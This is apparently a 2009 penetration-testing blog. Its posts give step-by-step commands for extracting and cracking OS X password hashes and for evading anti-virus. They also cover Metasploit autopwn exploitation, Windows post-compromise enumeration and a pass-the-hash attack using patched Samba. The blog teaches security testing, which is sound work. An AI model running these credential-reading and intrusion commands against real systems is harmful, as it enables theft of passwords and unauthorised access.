Another key difference is the way in which the two systems store their hashes. On a Unix-based system, every hash associated with the system is stored in the /etc/shadow file. This differs from OS X whereby each user has their own individual shadow file stored in the /var/db/shadow/hash/ directory. Each file is labeled by the user’s Globally Unique Identifier (GUID). N.B. A GUID is analogous to a Security Identifier (SID) on Windows-based systems.

Lastly, most Unix variants will use multiple rounds of the MD5 or DES cryptographic hash functions in order to encrypt system passwords. OS X systems encrypt passwords with the SHA1 hash function, coupled with a 4 byte salt.

In sum, OS X password storage has the following characteristics:

Password hashes are stored in the /var/db/shadow/hash/<GUID> file
Each user has their own shadow file
Local OS X passwords are stored as SHA1 hashes

STEP 1. OBTAINING THE GUID

So, the first thing we want to do in this exercise is find out what our GUID is. We do this by invoking the Directory Service command line (dscl) utility. Implemented in OS X 10.5 to replace the deprecated NetInfo directory service, dscl uses the Open Directory Framework to store, organise and access directory information. For our purposes, the directory service holds information specific to each user on the system.

The command we use to extract our GUID is as follows:

Note: Replace <username> with the username of the user you wish to extract.

10.4 (Tiger)

# niutil -readprop . /users/<username> generateduid

10.5 (Leapord) and 10.6 (Snow Leapord)

# dscl localhost -read /Search/Users/<username> | grep GeneratedUID | cut -c15-

This should return a value which appears in the following format: A66BCB30-2413-422A-A574-DE03108F8AF2

STEP 2. EXTRACTING THE HASHES

Next, we want to extract the SHA1 hash from the shadow file. For this, we do the following:

# cat /var/db/shadow/hash/A66BCB30-2413-422A-A574-DE03108F8AF2 | cut -c169-216

Note: Replace the above GUID with the one you have extracted from the previous step.

You should have been returned with a SHA1 hash that looks similar to the following: 33BA7C74C318F5D3EF40EB25E1C42F312ACF905E20540226

At this point it should be noted that OS X has the ability to store Window NT and LANMAN hash representations. This will only occur if SMB/CIFS file sharing has been turned on. To extract these passwords from the shadow file, type the following:

NT:

cat /var/db/shadow/hash/A66BCB30-2413-422A-A574-DE03108F8AF2 |cut -c1-32

LANMAN:

cat /var/db/shadow/hash/A66BCB30-2413-422A-A574-DE03108F8AF2 |cut -c33-64

STEP 3. CRACKING THE PASSWORD

At this point we are ready to crack the OS X passwords. To simplify this step, I have written a simple python script that can be downloaded here. To use this script, simply copy and paste the contents into a file (osx_crack.py) and type:

#python osx_crack.py bob

Note: 'bob' is the username whose password we want to crack.

This method is nice if you are only interesting in cracking passwords from a local system. If, however, you have captured a hash from a remote system, or would prefer a more familiar password cracking utility, then John The Ripper can also be used for this step. In order for John to work, John will need to be patched with the 'Jumbo Patch' - allowing SHA1 passwords (referred to as XSHA in John) to be cracked. The patch can be downloaded from the following locations:

Once we have download/patched John, the extracted hash and username should be placed in a text file. For this example I have added the username ‘bob’ and bob’s hash (that I obtained in STEP 2) into a file called sha1.txt. The file has the following format:

bob:33BA7C74C318F5D3EF40EB25E1C42F312ACF905E20540226

We can then use John the crack the password:

# ./john sha1.txt

If John is successful in recognising the hash, the following message will be displayed:
”Loaded 1 password hash (Mac OS X 10.4+ salted SHA1 [32/64])”

A successful cracking attempt will appear as follows:

password (bob)
guesses: 1 time: 0:00:00:00 100% (2) c/s: 153000 trying: password

Additional Resources

Bypassing Anti-virus

2009-12-13T00:18:00.001-08:00

Whether compromising a system for legitimate or non-legitimate purposes, bypassing anti-virus software is often an integral step in any intrusion exercise. Fortunately for enterprise, anti-virus and anti-malware software is now commonplace in most organisiations.

Whilst many of the tools that attackers wish to implement are constantly being blacklisted, this isn't without reservation. Attackers are still getting malware into systems and penetration testers are still able to compromise systems. So the question is, how is this possible? The answer: Bypassing anti-virus, of course.

In this post I intent to present several tools that can be used in bypassing anti-virus/anti-malware software. I will provide a brief background on each tools operation and a summary of its use. But first, some background.

Anti-virus software typically works by using either signature-based detection or heuristic-based detection (some products use both).

Signature-based detection products rely on receiving updates from the anti-virus vendor. Anti-virus vendors such as McAfee, Symantec, Sophos etc. work 24 hours a day 7 days a week to continually update their databases with newly discovered malware. Every time a new piece of malware is identified, a 'fingerprint', or 'signature' of the malware is made. These uniquely identifiable signatures are periodically downloaded by anti-virus clients and are used to identify malicious files. Software that the vendor has identified as malicious is able to be caught by the anti-virus software because an infected file's 'signature' (or fingerprint) matches that of the signature downloaded from the vendor. Signature-based detection can be seen as analogous with making a comparison. ie We compare the infected file's signature with the signatures I have in my database. Do the signatures match? If they do, we know the program is malicious and it goes into quarantine. If not, the program is safe and we can let the program run.

Heuristic-based detection is somewhat different. In the mathematics and computer science disciplines, the term heuristic can be simply described as a 'best guess'. Instead of making a signature comparison, heuristic-based detection looks at what the software is actually doing, as opposed to what it looks like. Based on behavior, heuristic-based products quarantine software that is acting suspiciously. So if a program is misbehaving by trying to elevate its privileges on a system, there is a possibility it may be flagged for quarantine. Heuristics-based detection is often prone to false positives, and as such, is not as common as it's signature-based counterpart.

Now lets talk about their shortcomings of signature-based detection.

Signature-based detection is overcome by something known as obfuscation. Code obfuscation is the process of changing the appearance of a program's source code. This can be done in many different ways, including: substituting for loops for while loops; eradicating loops with recursion; compression techniques; renaming variables; altering strings; and so on.

So now if we think back to how signature-based detection works, we can quickly see that it is near impossible for an anti-virus vendor to blacklist all the possible combinations of how a program can appear. And here in lies the dilemma. Anti-virus vendors can indeed continue to blacklist known malware, but this falls short reasonable quickly when programs can be obfuscated in a myriad of different ways.

Whilst there a many ways one can obfuscate a program's code, I am only going to discuss three here. These are three of the most common and simple tools for achieving anti-virus avoidance.

UPX Packer
Packing is a simple way to disguise executables. By adding a decompression header to the front of a the packed executable, the executable is able to be read and inflated in memory by the operating system.

The Ultimate Packer for eXecutables (UPX) is a free, open source, portable packer written by Markus F.X.J. Oberhumer, László Molnár and John F. Reiser.

Usage:

upx [-123456789dlthVL] [-qvfk] [-o file] file...

Commands:
-1 compress faster -9 compress better
-d decompress -l list compressed file
-t test compressed file -V display version number
-h give more help -L display software license
Options:
-q be quiet -v be verbose
-oFILE write output to 'FILE'
-f force compression of suspicious files
-k keep backup files
file.. executables to (de)compress

PE-Scrambler
PE-Scrambler is a simple utility written by Nick Harbour that scrambles and obfuscates binaries at the machine code instruction level. Altering the Opcodes at the lowest level, this utility is a highly effective obfuscator.

Usage:

> pescrambler.exe -i [inputfile.exe] -o [outputfile.exe]

Resources:
Interview with the author
Author's presentation on the tool

msfencode/msfpayload
These two tools come standard with the Metasploit Framework. Whilst in previous versions of Metasploit it required a bit of a hack to obfuscate Metasploit payloads, the latest release (3.3) makes the process trivial. I would like to point you to Adrian Crenshaw's posting on IronGeek for this one. He has recently posted a very nice video tutorial on the process.

So, what was the point of me telling you all this? Was it to tell you that anti-virus software is dead and you should just uninstall it completely from your network? Hardly.

My intentions here were to inform people that anti-virus, like all security controls, has its weaknesses. Anti-virus should no longer be looked at as the be all and end all of end-point system protection. It should be, like every other control, one of multiple mechanisms within a multi-tiered security architecture.

Here are some additional controls that can compliment anti-virus software:

Host-based intrusion prevention/detection systems
Host-based firewall logging (Win)
Host-based firewalling (Unix)
Application white-listing

Additional Resources:
Chris Brenton's talk on why AV is dead

Milw0rm Alternative is Here!

2009-11-16T14:22:00.000-08:00

Offensive-Security has announced its new exploit archive:

Offensive Security Exploit Database

Metasploit Autopwn: Hacking made simple

2009-11-11T16:04:00.000-08:00

Nowadays, exploiting a system requires little, if no knowledge of computer systems or networking. Merely, someone with 10 minutes on their hands that is interested enough to Google how it’s done.

One with very little skills has the ability to fire up Metasploit, load an exploit, and fire it at the target system – giving attacker’s the ability to compromise a system within minutes.

I thought I would write a post on Metasploit’s autopwn module to reiterate just how simple it is to attack/compromise a system in today’s environment. My intentions here are to give you a tutorial on the Metasploit autopwn module and provide a timely reminder on just how important it is to have a good patch policy in place. I would also recommend regular audits on system services.

The tools I will be using in this tutorial are:

Nessus - A free vulnerability scanner for Mac OS, Windows and Linux
Metasploit – framework 3 - A free exploit framework for launching exploits against targets
A virtual machine running an unpatched version of Windows XP SP2 as my target system

1. First we’ll fire up Nessus and run a scan on our network.

As we can see, Nessus has picked up several ‘High’ risk vulnerabilities on the target system (indicated by the red highlighting).

2. We will now export our Nessus scan results. In order to use these results in Metasploit’s autopwn module, we will need to save the results in the Nessus .nbe format.

First click the ‘Export…” button In the ‘Report’ tab. Second, select the ‘Save as…’ option and choose ‘NBE (*.nbe)’. Now save the file.

3. Now we want to import our Nessus output into Metasploit. Browse to your Metasploit main directory (On Backtrack 4 it will be /pentest/exploits/framework3) and fire up Metasploit.

# ./msfconsole

Note: I am using Linux for this section, but Windows is fine.

4. Next we want to create a database to store our Nessus results. This will allow autopwn to quickly traverse the database and assess whether the vulnerabilities found are indeed exploitable.
At the Metasploit console, type:

msf > db_create

You should see the following:

You have just created an sqlite database to store the results of the Nessus scan.
Note: Metasploit has context sensitive help which is very useful. If you type ‘help’ in the Metasploit console at any stage of this process you will be able to see the commands available to you for the specific module you have loaded. Very cool :)

5. We’ll now connect to our newly created database. To do this, we type:

msf > db_connect

You’ll notice that Metasploit is smart enough to realize that you want to connect to the most recently created database. If you wanted to connect to a different database – one that you had possibly made earlier – you would specifiy the path/database name after the db_connect command i.e. db_connect /root/.msf3/test.db

6. Now lets import our Nessus results into Metasploit. For this, we type:

msf > db_import_nessus_nbe /root/test.nbe

Notice here I have added the path to my Nessus output file after the import command (db_import_nessus_nbe).

Note: You will not get any confirmation after you have imported the Nessus results into your database. Instead, you will just be returned to the Metasploit console prompt.

7. Now we get to the autopwn part! It is a good idea at this point to type:

msf > db_autopwn

This will display a list of arguments that the autopwn module can use.

The arguments that I will first be using are:
-t Show all matching exploit modules
-x Select modules based on vulnerability references

msf > db_autopwn –t -x

Note: At this point I could just use –e and autopwn would try and exploit the target system. However, in my case, I know that the target system is vulnerable to multiple denial of service exploits which will cause my system to crash – and I don’t particularly want that :)

8. Exploiting! Now that we have seen which vulnerabilities are available to exploit, we have two options:
a)Manually set up the exploit, or
b)Let autopwn do the work for us

For the sake of this tutorial, I’ll use the autopwn option.

If you are happy to use all available exploits against the target system, the process would be as simple as:

msf > db_autopwn –x –e –r

And viola! If one of the exploits was successful, you will be presented with a command shell of the target system.

I hope this tutorial has shown just how simple it is in today’s environment to compromise an out-of-date/unpatched/misconfigured system. I trust this reiterates the importance of maintaining a good patch policy alongside regular audits of system services.

Milw0rm is back! -- Sort Of

2009-11-10T17:48:00.000-08:00

If you are someone who is interested in exploit code, you would have undoubtedly noticed that milw0rm.com has been dormant since September. Speculation has arisen over Str0ke's health -- with some even stating that he is dead. This is incorrect. However, whilst str0ke's health is intact, the milw0rm repository is not. It appears the site has been troubled by DoS attacks and Str0ke has been subject to trolling. However, with the unknown state of milw0rm, another exploit resource has risen.

On November 4, Offensive Security announced they will be maintaining a new exploit repository -- one which replaces milw0rm. The Offensive Security Exploit Archive "...will be picking up from the place Milw0rm left, and will be maintaining a new exploit archive collection which will be open to the public."

Copy-cat resources currently exist which mirror milw0rm:
Inj3ct0r
milw

New Australian iPhone Worm

2009-11-09T03:33:00.000-08:00

Yesterday, A newly discovered iPhone worm was found in the wild. The worm targets jailbroken iPhones - primarily affecting Australian 3G customers.

In this post I will sum up the worms operation and provide links on its removal, source code and further readings.

Initially, the worm scans for Australian 3G IP addresses (hardcoded into the source) on the Vodafone, Optus and Telstra networks. It spreads through 'jailbroken' iPhones using the Cydia application.

The worm spreads through the use of default SSH credentials. If the default SSH root password has not been changed (alpine), the worm will connect to port 22 and copy itself onto the phone. The worm will then kill the SSH service (to avoid someone else compromising the phone) and change the background image to Rick Astley. The worm will then look for other deices to infect.

Whilst the worm is currently frivolous in it's operations, it doesn't take much imagination to realise the potential for something more malicious.

So now people will be asking question, why am I posting the source code? The reason here is twofold. I think it's important to not only get the code out into the public so people can understand/identify the risk it poses, but also effectively defend against it should more malicious versions of the code become available.

Source Code
Removal of the Worm
Interview with ikee, the worm's author

More details about the worm:
http://isc.sans.org/diary.html?storyid=7549
http://mashable.com/2009/11/08/first-iphone-worm/
First identification (author involved)

Incident Response Template

2009-10-20T01:41:00.000-07:00

Last week, a security incident occurred on one of my client's networks. After the incident was resolved, formal documentation detailing the incident and incident response process was required for managerial review. I thought I would share this should anyone be interested in an incident response template. This is the template I came up with for the final incident response report:

IncidentResponseTemplate.docx

Feel free to alter it relative to your needs.

Enumerating Windows Information

2009-10-04T19:56:00.001-07:00

After you have gained access to a box, the first thing you want to do as a pen tester is obtain as much information about the machine/network as possible. Here is a list of commands that aim to enumerate host/network information from a Windows machine. The following commands are for Windows XP/Vista/7 unless stated otherwise.

Operating System Details

> ver

> systeminfo

Who are you logged in as

> set username

Which domain/workgroup is the machine apart of

> set userdomain

What is the machine called

> set computername

Windows 7 only

> whoami

List user groups on the system

> net localgroup

List users on the machine

> net user

List users in administrative group

> net localgroup administrators

View all mapped logical/shared drives on the system

> wmic logicaldisk get caption,description,providername

List all listening services on the machine

> netstat –nao

See which other machines the system has been communicating with

> arp –a

View what directories are currently being shared

> net share

View firewall configuration

> netsh firewall show config

Windows 7 only

> netsh advfirewall firewall show rule name=all more

or

> netsh advfirewall firewall show rule name=all dir=<inout>

NOTE: For more information on this command please see:

http://support.microsoft.com/kb/947709

View all currently running processes

> tasklist

Find a specific task through Process ID (PID), where x is an arbitrary PID

> tasklist /fi “pid eq x”

or

> tasklist find “x”

Find tasks running under a specific user, where x is an arbitrary username

> tasklist /fi “username eq x”

For more information on information gathering/windows forensics, check out:

http://www.irongeek.com/i.php?page=security/windows-forensics-registry-and-file-system-spots

Pass-the-Hash Attack with Backtrack 4

2009-08-29T01:30:00.000-07:00

For the uninitiated, a pass-the-hash attack is a way to gain access to a Windows machine without having to supply user credentials. Sounds great yeah? Cool, now you can go ahead and delete Cain and john because your password cracking days are over? Well, not quite. Before you get too excited you should realize there's a catch -- you must first have in your possession a password hash of the machine that you want to compromise. So now you're probably asking yourself, "Why is that useful if I need to have access to the box in the first place?" Well, picture this:

Say you were conducting a penetration test on Company X and you were unable to crack the administrator password. Now, like most organizations, Company X is using the same administrator password on all of its machines. So gaining access to this password would allow you to pwn the entire network. Now lets say that Company X believes strongly in security, and has a 20 character random password for their administrator password. So now you're screwed right? Wrong.

By having access to just one machine that holds this master account that is present on all machines (the administrator account in this example), you are able to utilize a pass-the-hash attack by 'passing' just the hash to every other machines on the network. By receiving the hash, Windows believes that you have successfully authenticated and provides you access to the host. Kinda cool huh?

Now that I've given you some background, here's how you go about setting it up on Backtrack 4. There are a few tweaks that need to be made in order for this to work on Backtrack 4.

Pass the Hash Attack Tutorial for Backtrack 4 Users:

1. Download Samba 3.0.22:
http://us3.samba.org/samba/ftp/old-versions/samba-3.0.22.tar.gz

2. Download both of the Foofus Samba patches:
http://www.foofus.net/jmk/tools/samba-3.0.22-add-user.patch
http://www.foofus.net/jmk/tools/samba-3.0.22-passhash.patch

3. Extract the samba archive where you would like to access Samba from. I've chosen /opt/

4. From the directory where you have installed Samba (/opt/ for me), patch the appropriate files

# cd /opt/
# patch -p0 <samba-3.0.22-add-user.patch
# patch -p0 <samba-3.0.22-passhash.patch

5. Configure Samba with smbmount

# cd /opt/samba3.0.22/source
# ./configure --with-smbmount

6. Compile/Install Samba (still in the /opt/samba3.0.22/source/ directory)

# make
# make install

7. Create a mount point in order to mount the Windows share

# mkdir /mnt/target

8. Alter the fstab file to allow /mnt/target to be mounted

# pico /etc/fstab

At the bottom of the file add this entry:

none /mnt/target tmpfs defaults 0 0

9. Copy smb.conf to the correct directory

# cp /opt/samba-3.0.22/packaging/Debian/debian-woody/smb.conf /usr/local/samba/lib/smb.conf

10. Mount the target directory

# mount /mnt/target

11. Add your compromised hash to the SMBHASH environment variable

# export SMBHASH="92D887C9910492C3254E2DF489A880E4:7A2EDE4F51B94203984C6BA21239CF63"

Note: The format for this should be "LMHASH:NTHASH"

12. Implement your pass-the-hash attack
# cd /opt/samba3.0.22/source/bin

Usage: smbmount //target-ipaddress/sharename /mount/point -o username=username-associated-with-hash-here

# ./smbmount //10.0.0.100/C$ /mnt/target -o username=administrator

13. Type an arbitrary password

At this point would be asked to supply a password. Type anything you want here -- just make sure its not blank. So, for example, you could just type 'blah' and hit return.

14. Check to see that you have successfully mapped the Windows share

# ls /mnt/target

If you would like a video tutorial on the pass-the-hash technique, please see John Strand's video:
http://vimeo.com/2852120

Installing Kismet on Backtrack 4 Pre Release

2009-08-07T22:47:00.000-07:00

Backtrack 4 has all the bells and whilstles we love and have come to expect from Backtrack in the past. That said however, as Bakctrack is currenly in a "Pre Realease" version, there are a couple of teething issues with various bits and pieces. One such issue is with Kismet Newcore.

Kismet is our friendly little wireless stumbler that we all love. In Backtrack 4 pre release you may have noticed it is either missing functionality, or just plain doesn't work!

Here is a quick guide for you to download an alternate version of Kismet Newcore and install it on Backtrack 4:

1. Make sure your network adapter is on

# dhclient eth0

2. Change your director to /usr/src to download the Kismet Newcore source code

# cd /usr/src

3. Download the Kismet source using the built-in subversioning software

# svn co https://kismetwireless.net/code/svn/trunk kismet

4. Open the newly created kismet directory

# cd kismet

5. Confrigure and make the source code

# ./configure --prefix=/opt && make && make install

6. Now change your directory to where you want kismet to store its logging files

# cd somewhere/useful/for/your/logging/files

7. Run kismet

# /opt/bin/kismet

There you have it! A fresh version of Kismet Newcore installed.

When you run kismet, it will ask you to add a new capture source. You will (typically) add wlan0. This will change however, depending on your hardware.

Installing Nessus on Backtrack 4

2009-08-05T04:55:00.000-07:00

Here is an easy to follow tutorial on installing nessus on the Backtrack 4 Pre Release. This is courtesy of secure_it at the remote-exploit forums.

First download these packages

Nessus-3.2.1-ubuntu804_i386.deb
NessusClient-3.2.1-debian4_i386.deb

(I have chosen debian package because NessusClient-3.2.1.1-ubuntu804.i386.deb was missing some of dependencies and was not installing correctly.instead the debian package worked like a charm as its upto-date with dependencies and it produces no error at all.

Next register your copy to get plugins update using homefeed and please provide the real mail ID as they will send you the activation key for homefeed.

Regsiter Here

Click accept and enter a valid working email ID.

now we start installing the packages.

root@ThUndErbOLt:~#dpkg -i Nessus-3.2.1-ubuntu804_i386.deb

now configure the certificate & admin user for nessus
root@ThUndErbOLt:~#/opt/nessus/sbin/nessus-mkcert (this is neccessary to communicate between nessus client to nessus daemon/remote host)
(configure options accordingly or just press enter for default)

CA certificate life time in days [1460]:
Server certificate life time in days [365]:
Your country (two letter code) [FR]:IN
Your state or province name [none]: Karnataka
Your location (e.g. town) [Paris]: Bangalore
it should show the message
Congratulations. Your server certificate was properly created.
hit enter to come out

root@ThUndErbOLt:~#/opt/nessus/sbin/nessus-adduser
enter information about the user.
Login
Authentication (Pass/Cert)
Password:
confirm password:
after configuring the parameters it ask for rule-set.we have configured the admin user having full permissions.if we wants to limit and want to add certain users then we can use rule-set here.
For configuring ruleset please refer to nessus-adduser(8) man page for the rules syntax as it limit the use of nessus.
press ctrl + d
it asks for confirmation.choose y

now start Nessus daemon by using
root@ThUndErbOLt:~# /etc/init.d/nessusd start
$Starting Nessus : .

confirm that its running using
root@ThUndErbOLt:~# netstat -ant|grep 1241
tcp 0 0 0.0.0.0:1241 0.0.0.0:* LISTEN
tcp6 0 0 :::1241 :::* LISTEN

now Install NessusClient(the GUI Frontend to use nessusd)
root@ThUndErbOLt:~# dpkg -i NessusClient-3.2.1-debian4_i386.deb

now register the plugin feed for updating nessus
root@ThUndErbOLt:~#/opt/nessus/bin/nessus-fetch --register XXXX-XXXX-XXXX-XXXX(replace X with your keys)
Your activation code has been registered properly - thank you.
Now fetching the newest plugin set from plugins.nessus.org...
now it will download the plugins and will purge them into database.if you don't wan't to do this now.press ctrl + c to cancel it.later you can download it using

root@ThUndErbOLt:~#/opt/nessus/sbin/nessus-update-plugins

run the scan using NessusClient
backtrack menu->Internet->NessusClient
click on + icon
by default selected radiobox is single host
type Host Name localhost & hit save
select the localhost & press connect
from connect option box choose edit
set the Login & Password which we created earlier using nessus-adduser
hit Save
select localhost & hit connect
first time it asks for logging into nessus server.hit yes

now you can customize the default scan/microsoft scan policy and can scan.that's it!

***note if you are having dependency issues with the Nessus Client use the following command: apt-get update